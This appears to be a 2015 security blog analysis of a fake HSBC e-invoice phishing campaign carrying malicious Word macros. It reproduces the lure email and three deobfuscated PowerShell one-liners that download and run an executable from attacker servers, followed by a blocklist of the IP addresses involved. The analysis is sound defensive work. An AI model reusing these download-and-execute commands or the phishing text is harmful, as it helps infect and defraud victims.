Malware spam: "Your latest e-invoice from.."

This fake invoice spam has a malicious attachment:

From:    Lydia Oneal
Date:    11 February 2015 at 09:14
Subject:    Your latest e-invoice from HSBC HLDGS

Dear Valued Customer,


Please find attached your latest invoice that has been posted to your online account. You’ll be pleased to know that your normal payment terms still apply as detailed on your invoice.

Rest assured, we operate a secure system, so we can confirm that the invoice DOC originates from HSBC HLDGS and is authenticated with a digital signature.

Thank you for using e-invoicing with HSBC HLDGS - the smarter, faster, greener way of processing invoices.

This message and any attachment are confidential and may be privileged or otherwise protected from disclosure.
If you are not the intended recipient, please telephone or email the sender and delete this message and any attachment from your system.
If you are not the intended recipient you must not copy this message or attachment or disclose the contents to any other person.

The company name and the name of the sender varies, but most of the body text remains identical. Some sample subjects are:

Your latest e-invoice from HSBC HLDGS
Your latest e-invoice from MAVEN INCOME & GROWTH VCT 3 PLC
Your latest e-invoice from DDD GROUP PLC
Your latest e-invoice from BAILLIE GIFFORD SHIN NIPPON
Your latest e-invoice from ACAL
Your latest e-invoice from PARAGON DIAMONDS LTD
Your latest e-invoice from TULLETT PREBON PLC
Your latest e-invoice from MERSEY DOCKS & HARBOUR CO
Your latest e-invoice from HOLDERS TECHNOLOGY
Your latest e-invoice from LED INTL HLDGS LTD 
Your latest e-invoice from HALOS
Your latest e-invoice from ACORN INCOME FUND
Your latest e-invoice from BLACKROCK WORLD MINING TRUST PLC
Your latest e-invoice from NATURE GROUP PLC
Your latest e-invoice from OPTOS
Your latest e-invoice from MENZIES(JOHN)
Your latest e-invoice from ATLANTIC COAL PLC

The word document is randomly-named, for example 256IFV.doc, 19093WZ.doc and 097DVN.doc. There are three different versions of this malicious document, all with low detection rates [1] [2] [3] containing a slightly different macro in each case [1] [2] [3]. If we deobfuscate the macro, we see some code like this:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://136.243.237.222:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.62:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://95.163.121.216:8080/hhacz45a/mnnmz.php','%TEMP%\pJIOfdfs.exe');Start-Process '%TEMP%\pJIOfdfs.exe';

The macro is calling Powershell to download and execute code from these locations:

http://136.243.237.222:8080/hhacz45a/mnnmz.php (Hetzer, Germany)
http://185.48.56.62:8080/hhacz45a/mnnmz.php (Sinarohost, Netherlands)
http://95.163.121.216:8080/hhacz45a/mnnmz.php (Digital Networks aka DINETHOSTING, Russia)

The code is downloaded as zzcasr.exe and is then saved as %TEMP%\pJIOfdfs.exe. This binary is of course malicious, with a detection rate of 5/57.

Automated analysis tools [1] [2] [3] [4] [5] show that it attempts to contact the following IPs:

85.143.166.72 (Pirix, Russia)
92.63.88.97 (MWTV, Latvia)
205.185.119.159 (FranTech Solutions, US)
78.129.153.18 (IOmart, UK)
5.14.26.146 (RCS & RDS Residential, Romania)

The malware probably drops a Dridex DLL, although I have not been able to obtain this.

Recommended blocklist:
85.143.166.72
92.63.88.97
205.185.119.159
78.129.153.18
5.14.26.146
136.243.237.222
185.48.56.62
95.163.121.216

(Note, for researchers only a copy of the files can be found here, password=infected)